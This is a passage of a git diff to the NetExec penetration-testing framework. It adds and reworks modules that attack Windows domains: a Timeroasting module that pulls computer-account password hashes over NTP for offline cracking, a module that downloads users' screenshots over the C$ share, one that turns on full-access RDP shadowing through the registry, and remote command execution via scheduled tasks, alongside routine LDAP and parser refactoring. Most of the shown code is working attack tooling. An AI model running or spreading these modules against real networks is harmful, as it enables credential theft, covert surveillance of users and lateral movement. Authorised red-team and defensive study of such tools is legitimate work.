login + if user == "" and password == "" and lmhash == "" and nthash == "": + keyExchangeKey = b"\x00" * 16 + + + if ntlmChallenge["flags"] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH: + exportedSessionKey = ntlm.b("".join([random.choice(string.digits + string.ascii_letters) for _ in range(16)])) + encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey) + else: + encryptedRandomSessionKey = None + exportedSessionKey = keyExchangeKey + + ntlmChallengeResponse["flags"] = responseFlags + ntlmChallengeResponse["domain_name"] = domain.encode("utf-16le") + ntlmChallengeResponse["host_name"] = type1.getWorkstation().encode("utf-16le") + if lmResponse == "": + ntlmChallengeResponse["lanman"] = b"\x00" + else: + ntlmChallengeResponse["lanman"] = lmResponse + ntlmChallengeResponse["ntlm"] = ntResponse + if encryptedRandomSessionKey is not None: + ntlmChallengeResponse["session_key"] = encryptedRandomSessionKey + + return ntlmChallengeResponse, exportedSessionKey \ No newline at end of file diff --git a/nxc/modules/runasppl.py b/nxc/modules/runasppl.py index 15f6bccd..0520189c 100644 --- a/nxc/modules/runasppl.py +++ b/nxc/modules/runasppl.py @@ -1,5 +1,10 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations +from impacket.dcerpc.v5.rrp import DCERPCSessionError + class NXCModule: + # Reworked by @Defte_ 13/10/2024 to remove unecessary execute operation name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" supported_protocols = ["smb"] @@ -14,10 +19,35 @@ class NXCModule: """""" def on_admin_login(self, context, connection): - command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL" - context.log.debug(f"Executing command: {command}") - p = connection.execute(command, True) - if "The system was unable to find the specified registry key or value" in p: - context.log.debug("Unable to find RunAsPPL Registry Key") - else: - context.log.highlight(p) + try: + remote_ops = RemoteOperations(connection.conn, False) + remote_ops.enableRegistry() + + if remote_ops._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) + reg_handle = ans["phKey"] + ans = rrp.hBaseRegOpenKey( + remote_ops._RemoteOperations__rrp, + reg_handle, + "SYSTEM\\CurrentControlSet\\Control\\Lsa" + ) + key_handle = ans["phkResult"] + _ = data = None + try: + _, data = rrp.hBaseRegQueryValue( + remote_ops._RemoteOperations__rrp, + key_handle, + "RunAsPPL\x00", + ) + except rrp.DCERPCSessionError as e: + context.log.debug(f"RunAsPPL error {e} on host {connection.host}") + + if data is None or data not in [1, 2]: + context.log.highlight("RunAsPPL disabled") + else: + context.log.highlight("RunAsPPL enabled") + + except DCERPCSessionError as e: + context.log.debug(f"Error connecting to RemoteRegistry {e} on host {connection.host}") + finally: + remote_ops.finish() diff --git a/nxc/modules/sccm.py b/nxc/modules/sccm.py index de317d74..871617c8 100644 --- a/nxc/modules/sccm.py +++ b/nxc/modules/sccm.py @@ -49,7 +49,7 @@ class NXCModule: """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.""" self.context = context self.connection = connection - self.base_dn = connection.ldapConnection._baseDN if not self.base_dn else self.base_dn + self.base_dn = connection.ldap_connection._baseDN if not self.base_dn else self.base_dn self.sc = ldap.SimplePagedResultsControl() # Basic SCCM enumeration @@ -58,7 +58,7 @@ class NXCModule: search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})" controls = security_descriptor_control(sdflags=0x04) context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=search_filter, attributes=["nTSecurityDescriptor"], sizeLimit=0, @@ -129,7 +129,7 @@ class NXCModule: try: yoinkers = "(|(samaccountname=*sccm*)(samaccountname=*mecm*)(description=*sccm*)(description=*mecm*)(name=*sccm*)(name=*mecm*))" context.log.display("Searching for SCCM related objects") - result = connection.ldapConnection.search( + result = connection.ldap_connection.search( searchFilter=yoinkers, searchBase=self.base_dn, attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], @@ -157,7 +157,7 @@ class NXCModule: try: self.context.log.debug(f"Resolving group members recursively for {dn}") # Somehow BaseDN is not working together with the LDAP_MATCHING_RULE_IN_CHAIN - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchFilter=f"(memberOf:{LDAP_MATCHING_RULE_IN_CHAIN}:={dn})", attributes=["sAMAccountName", "distinguishedName", "sAMAccountType"], ) @@ -176,7 +176,7 @@ class NXCModule: def get_management_points(self): """Searches for all SCCM management points in the Active Directory and maps them to their SCCM site via the site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSManagementPoint)", attributes=["cn", "dNSHostName", "mSSMSDefaultMP", "mSSMSSiteCode"], @@ -199,7 +199,7 @@ class NXCModule: def get_sites(self): """Searches for all SCCM sites in the Active Directory, sorted by site code.""" try: - response = self.connection.ldapConnection.search( + response = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter="(objectClass=mSSMSSite)", attributes=["cn", "mSSMSSiteCode", "mSSMSAssignmentSiteCode"], @@ -244,7 +244,7 @@ class NXCModule: """Tries to resolve a SID and add the dNSHostName to the sccm site list.""" try: self.context.log.debug(f"Resolving SID: {sid}") - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName", "sAMAccountType", "member", "dNSHostName"], @@ -277,7 +277,7 @@ class NXCModule: def dn_to_sid(self, dn) -> str: """Tries to resolve a DN to a SID.""" - result = self.connection.ldapConnection.search( + result = self.connection.ldap_connection.search( searchBase=self.base_dn, searchFilter=f"(distinguishedName={dn})", attributes=["sAMAccountName", "objectSid"], diff --git a/nxc/modules/schtask_as.py b/nxc/modules/schtask_as.py index 3361a12b..5b294e38 100644 --- a/nxc/modules/schtask_as.py +++ b/nxc/modules/schtask_as.py @@ -1,6 +1,7 @@ +import contextlib import os from time import sleep -from datetime import datetime +from datetime import datetime, timedelta from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import tsch, transport from nxc.helpers.misc import gen_random_string @@ -91,6 +92,10 @@ class NXCModule: except Exception as e: if "SCHED_S_TASK_HAS_NOT_RUN" in str(e): self.logger.fail("Task was not run, seems like the specified user has no active session on the target") + with contextlib.suppress(Exception): + exec_method.deleteartifact() + else: + self.logger.fail(f"Failed to execute command: {e}") class TSCH_EXEC: @@ -143,6 +148,18 @@ class TSCH_EXEC: ) self.__rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) + def deleteartifact(self): + dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: + dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + dce.set_credentials(*self.__rpctransport.get_credentials()) + dce.connect() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + dce.bind(tsch.MSRPC_UUID_TSCHS) + self.logger.display(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") + dce.disconnect() + def execute(self, command, output=False): self.__retOutput = output self.execute_handler(command) @@ -151,24 +168,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data - def get_current_date(self): - # Get current date and time - now = datetime.now() + def get_end_boundary(self): + # Get current date and time + 5 minutes + end_boundary = datetime.now() + timedelta(minutes=5) # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" - return now.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] def gen_xml(self, command, fileless=False): xml = f""" - - {self.get_current_date()} - true - - 1 - - + + {self.get_end_boundary()} + @@ -224,53 +237,58 @@ class TSCH_EXEC: def execute_handler(self, command, fileless=False): dce = self.__rpctransport.get_dce_rpc() + if self.__doKerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() - tmpName = gen_random_string(8) if self.task is None else self.task + # Give self.task a random string as name if not already specified + self.task = gen_random_string(8) if self.task is None else self.task xml = self.gen_xml(command, fileless) self.logger.info(f"Task XML: {xml}") - taskCreated = False - self.logger.info(f"Creating task \\{tmpName}") + self.logger.info(f"Creating task \\{self.task}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) - tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) + tsch.hSchRpcRegisterTask(dce, f"\\{self.task}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) except Exception as e: if "ERROR_NONE_MAPPED" in str(e): self.logger.fail(f"User {self.user} is not connected on the target, cannot run the task") - if e.error_code and hex(e.error_code) == "0x80070005": - self.logger.fail("Schtask_as: Create schedule task got blocked.") - if "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif e.error_code and hex(e.error_code) == "0x80070005": + self.logger.fail("Create schedule task got blocked.") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_TRUSTED_DOMAIN_FAILURE" in str(e): self.logger.fail(f"User {self.user} does not exist in the domain.") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "SCHED_S_TASK_HAS_NOT_RUN" in str(e): + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") + elif "ERROR_ALREADY_EXISTS" in str(e): + self.logger.fail(f"Create schedule task failed: {e}") else: - self.logger.fail(f"Schtask_as: Create schedule task failed: {e}") + self.logger.fail(f"Create schedule task failed: {e}") + with contextlib.suppress(Exception): + tsch.hSchRpcDelete(dce, f"\\{self.task}") return - else: - taskCreated = True - - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False while not done: - self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}") - resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}") + self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task}") + resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task}") if resp["pLastRuntime"]["wYear"] != 0: done = True else: sleep(2) - self.logger.info(f"Deleting task \\{tmpName}") - tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") + self.logger.info(f"Deleting task \\{self.task}") + tsch.hSchRpcDelete(dce, f"\\{self.task}") if self.__retOutput: if fileless: diff --git a/nxc/modules/shadowrdp.py b/nxc/modules/shadowrdp.py new file mode 100644 index 00000000..40ad8120 --- /dev/null +++ b/nxc/modules/shadowrdp.py @@ -0,0 +1,83 @@ +from impacket.dcerpc.v5 import rrp +from impacket.examples.secretsdump import RemoteOperations + +# Module by @Defte_ +# Enables or disables shadow RDP +class NXCModule: + name = "shadowrdp" + description = "Enables or disables shadow RDP" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.action = None + + def options(self, context, module_options): + + if "ACTION" not in module_options: + context.log.fail("ACTION option not specified!") + exit(1) + + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("ACTION must be either enable, disable or query") + exit(1) + self.action = module_options["ACTION"].lower() + + def on_admin_login(self, context, connection): + try: + remoteOps = RemoteOperations(connection.conn, False) + remoteOps.enableRegistry() + if remoteOps._RemoteOperations__rrp: + ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) + regHandle = ans["phKey"] + + keyHandle = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\\" + )["phkResult"] + + # Checks if the key already exists or not + try: + rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00" + ) + except Exception as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + context.log.debug("here") + ans = rrp.hBaseRegCreateKey( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00") + + # Disable remote UAC + if self.action == "disable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 0 + ) + context.log.highlight("Shadow RDP disabled") + + # Enable remote UAC + if self.action == "enable": + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "Shadow\x00", + rrp.REG_DWORD, + 2 + ) + context.log.highlight("Shadow RDP with full access enabled") + + except Exception as e: + context.log.debug(f"Error {e}") + finally: + remoteOps.finish() diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py new file mode 100644 index 00000000..dd8b9fce --- /dev/null +++ b/nxc/modules/snipped.py @@ -0,0 +1,134 @@ +import ntpath +import os +from os.path import join, getsize, exists +from nxc.paths import NXC_PATH + + +class NXCModule: + + name = "snipped" + description = "Downloads screenshots taken by the (new) Snipping Tool." + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def __init__(self): + self.context = None + self.module_options = None + self.excluded_files = ["desktop.ini"] + + def options(self, context, module_options): + """USERS: Download only specified user(s); format: -o USERS=user1,user2,user3""" + self.context = context + self.users = [user.lower() for user in module_options["USERS"].split(",")] if "USERS" in module_options else None + + + + def on_admin_login(self, context, connection): + self.context = context + self.connection = connection + self.share = "C$" + + output_base_dir = join(NXC_PATH, "modules", "snipped", "screenshots") + os.makedirs(output_base_dir, exist_ok=True) + + context.log.info("Getting all user folders") + try: + user_folders = connection.conn.listPath(self.share, "\\Users\\*") + except Exception as e: + context.log.fail(f"Failed to list user folders: {e}") + return + + context.log.info(f"User folders: {[folder.get_longname() for folder in user_folders]}") + if not user_folders: + context.log.fail("No User folders found!") + return + else: + context.log.info("Attempting to download screenshots if they exist.") + + total_files_downloaded = 0 + host_output_path = None + + for user_folder in user_folders: + folder_name = user_folder.get_longname() + if folder_name.lower() not in [".", "..", "all users", "default", "default user", "public"]: + normalized_name = folder_name.lower() + if self.users and normalized_name not in self.users: + continue + + context.log.info(f"Searching for Screenshots folder in {folder_name}'s home directory") + screenshots_folders = self.find_screenshots_folders(folder_name) + if not screenshots_folders: + context.log.debug(f"No Screenshots folder found for user {folder_name}. Skipping.") + continue + + for screenshot_path in screenshots_folders: + try: + screenshot_files = connection.conn.listPath(self.share, screenshot_path + "\\*") + except Exception as e: + context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}") + continue + + if not screenshot_files: + context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}") + continue + + user_output_dir = join(output_base_dir, connection.host) + os.makedirs(user_output_dir, exist_ok=True) + host_output_path = user_output_dir + + for file in screenshot_files: + if not file.is_directory(): + remote_file_name = file.get_longname() + + if remote_file_name.lower() in self.excluded_files: + context.log.debug(f"Excluding file {remote_file_name}.") + continue + + remote_file_path = ntpath.join(screenshot_path, remote_file_name) + sanitized_path = screenshot_path.replace("\\", "_").replace("/", "_") + local_file_name = f"{folder_name}_{sanitized_path}_{remote_file_name}" + local_file_path = join(user_output_dir, local_file_name) + + try: + with open(local_file_path, "wb") as local_file: + context.log.debug(f"Downloading {remote_file_path} to {local_file_path}") + connection.conn.getFile(self.share, remote_file_path, local_file.write) + + if not exists(local_file_path): + context.log.fail(f"Downloaded file '{local_file_path}' does not exist.") + continue + + file_size = getsize(local_file_path) + if file_size == 0: + context.log.fail(f"Downloaded file '{local_file_path}' is 0 bytes. Skipping.") + os.remove(local_file_path) + else: + total_files_downloaded += 1 + except Exception as e: + context.log.debug(f"Failed to download '{remote_file_path}' for user {folder_name}: {e}") + + if total_files_downloaded > 0 and host_output_path: + context.log.success(f"{total_files_downloaded} file(s) downloaded from host {connection.host} to {host_output_path}.") + + + def find_screenshots_folders(self, user_folder_name): + """ + Dynamically searches for all Screenshots folders in the user's home directory. + Returns a list of paths. + """ + base_path = ntpath.normpath(join(r"Users", user_folder_name)) + screenshots_folders = [] + try: + subfolders = self.connection.conn.listPath(self.share, base_path + "\\*") + for subfolder in subfolders: + if subfolder.is_directory() and subfolder.get_longname() not in [".", ".."]: + potential_path = ntpath.join(base_path, subfolder.get_longname(), "Screenshots") + try: + if self.connection.conn.listPath(self.share, potential_path + "\\*"): + screenshots_folders.append(potential_path) + except Exception: + continue + except Exception as e: + self.context.log.debug(f"Failed to list subfolders for {base_path}: {e}") + return screenshots_folders diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 6697c332..9ccc148d 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -3,10 +3,11 @@ import errno from os.path import abspath, join, split, exists, splitext, getsize, sep from os import makedirs, remove, stat import time -from nxc.paths import TMP_PATH +from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SessionError +from impacket.nmb import NetBIOSTimeout CHUNK_SIZE = 4096 @@ -116,18 +117,16 @@ class SMBSpiderPlus: filelist = self.smb.conn.listPath(share, subfolder + "*") except SessionError as e: - self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".') - self.logger.debug(str(e)) + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') if "STATUS_ACCESS_DENIED" in str(e): self.logger.debug(f'Cannot list files in folder "{subfolder}".') - elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") - elif self.reconnect(): filelist = self.list_path(share, subfolder) - + except NetBIOSTimeout as e: + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): @@ -166,7 +165,7 @@ class SMBSpiderPlus: def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - + It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system. The folder path and filename are then obtained separately. """ @@ -213,9 +212,9 @@ class SMBSpiderPlus: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") - except SessionError as e: + except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) - self.logger.fail("Got a session error while spidering.") + self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: @@ -286,8 +285,9 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: + file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) - if file_extension.lower() in self.exclude_exts: + if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return @@ -373,7 +373,7 @@ class SMBSpiderPlus: def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. - + The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") @@ -485,7 +485,7 @@ class NXCModule: EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) - OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus) + OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): @@ -498,7 +498,7 @@ class NXCModule: self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) - self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus"))) + self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") diff --git a/nxc/modules/subnets.py b/nxc/modules/subnets.py index 0f2001d0..d19f40c2 100644 --- a/nxc/modules/subnets.py +++ b/nxc/modules/subnets.py @@ -42,12 +42,12 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn context.log.display("Getting the Sites and Subnets from domain") try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], @@ -68,7 +68,7 @@ class NXCModule: site_description = site["description"] # Getting subnets of this site - list_subnets = connection.ldapConnection.search( + list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], @@ -86,7 +86,7 @@ class NXCModule: if self.showservers: # Getting machines in these subnets - list_servers = connection.ldapConnection.search( + list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py new file mode 100644 index 00000000..bc87f8e0 --- /dev/null +++ b/nxc/modules/timeroast.py @@ -0,0 +1,112 @@ +from binascii import hexlify, unhexlify +from select import select +from time import time +from socket import socket, AF_INET, SOCK_DGRAM +from struct import pack, unpack + + + +def hashcat_format(rid, hashval, salt): + """Encodes hash in Hashcat-compatible format (with username prefix).""" + return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" + +class NXCModule: + """ + Module by Disgame: @Disgame + Based on research from SecuraBV (@SecuraBV) + + https://github.com/SecuraBV/Timeroast/ + + Much of this code was copied from the original implementation. + """ + + name = "timeroast" + description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self): + self.context = None + self.module_options = None + + # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. + self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") + + + def options(self, context, module_options): + self.rids = range(1, 2**31) + self.rate = 180 + self.timeout = 24 + self.src_port = 0 + self.old_hashes = False + self.target = None + + if "rids" in module_options: + self.rids = module_options["rids"] + if "rate" in module_options: + self.rate = module_options["rate"] + if "timeout" in module_options: + self.timeout = module_options["timeout"] + if "src_port" in module_options: + self.src_port = module_options["src_port"] + if "old_hashes" in module_options: + self.old_hashes = module_options["old_hashes"] + + def on_login(self, context, connection): + if self.target is None: + self.target = connection.host + + context.log.display("Starting Timeroasting...") + + for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): + context.log.highlight(hashcat_format(rid, md5hash, salt)) + + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. + Rate is the number of queries per second to send. + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network + issues. + + Yields (rid, hash, salt) pairs, where salt is the NTP response data. + """ + # Flag in key identifier that indicates whether the old or new password should be used. + keyflag = 2**31 if old_pwd else 0 + + # Bind UDP socket. + with socket(AF_INET, SOCK_DGRAM) as sock: + try: + sock.bind(("0.0.0.0", src_port)) + except PermissionError: + context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") + + + query_interval = 1 / rate + last_ok_time = time() + rids_received = set() + rid_iterator = iter(rids) + + while time() < last_ok_time + giveup_time: + # Send out query for the next RID, if any. + query_rid = next(rid_iterator, None) + if query_rid is not None: + query = self.ntp_prefix + pack(" "Tuple[int, bytes]": + def dec_next_char(self, pass_bytes) -> tuple[int, bytes]: """ Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes. diff --git a/nxc/netexec.py b/nxc/netexec.py index 3c66572f..16280d19 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -173,6 +173,9 @@ def main(): for module in args.module: nxc_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) + elif args.show_module_options: + nxc_logger.error("--options requires -M/--module") + exit(1) elif args.module: # Check the modules for sanity before loading the protocol nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}") diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 7ae45479..4ebe1f8c 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd): if cred[4] == "hash": usernames.append(cred[2]) passwords.append(cred[3]) - output_list = [":".join(combination) for combination in zip(usernames, passwords)] + output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)] write_list(filename, output_list) else: print(f"[-] No such export option: {line[1]}") diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index 439e240a..c12be0e1 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -1,5 +1,6 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: @@ -8,7 +9,15 @@ def parse_result_attributes(ldap_response): continue attribute_map = {} for attribute in entry["attributes"]: - val = [str(val) for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] + val_list = [] + for val in attribute["vals"].components: + try: + encoding = val.encoding + val_decoded = str(val).encode(encoding).decode("utf-8") + except UnicodeDecodeError: + # If we can't decode the value, we'll just return the bytes + val_decoded = val.__bytes__() + val_list.append(val_decoded) + attribute_map[str(attribute["type"])] = val_list if len(val_list) > 1 else val_list[0] parsed_response.append(attribute_map) - return parsed_response \ No newline at end of file + return parsed_response diff --git a/nxc/parsers/nmap.py b/nxc/parsers/nmap.py index 69118c33..ce0c7259 100644 --- a/nxc/parsers/nmap.py +++ b/nxc/parsers/nmap.py @@ -3,7 +3,7 @@ from nxc.logger import nxc_logger # right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases protocol_dict = { - "Ftp": {"ports": [21], "services": ["Ftp"]}, + "ftp": {"ports": [21], "services": ["ftp"]}, "ssh": {"ports": [22, 2222], "services": ["ssh"]}, "smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]}, "ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]}, @@ -11,6 +11,8 @@ protocol_dict = { "rdp": {"ports": [3389], "services": ["ms-wbt-server"]}, "winrm": {"ports": [5985, 5986], "services": ["wsman"]}, "vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]}, + "wmi": {"ports": [135], "services": ["msrpc"]}, + "nfs": {"ports": [2049], "services": ["nfs"]}, } diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index bf2a39ad..859f2d03 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -24,19 +24,23 @@ class ftp(connection): def proto_flow(self): self.proto_logger() - if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login(): - pass + if self.create_conn_obj() and self.login(): + if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") + self.call_modules() + else: + self.logger.debug("Calling command arguments") + self.call_cmd_args() def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front self.logger.debug(f"Remote version: {self.remote_version}") - return True def print_host_info(self): self.logger.display(f"Banner: {self.remote_version}") - return True def create_conn_obj(self): self.conn = FTP() diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7780a5b1..226abfda 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,34 +3,33 @@ import hashlib import hmac import os -import socket from binascii import hexlify -from datetime import datetime, timedelta +from datetime import datetime from re import sub, I from zipfile import ZipFile from termcolor import colored +from dns import resolver from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD -from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, + UF_SERVER_TRUST_ACCOUNT, ) -from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smb import SMB_DIALECT -from impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SessionError +from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection @@ -40,6 +39,7 @@ from 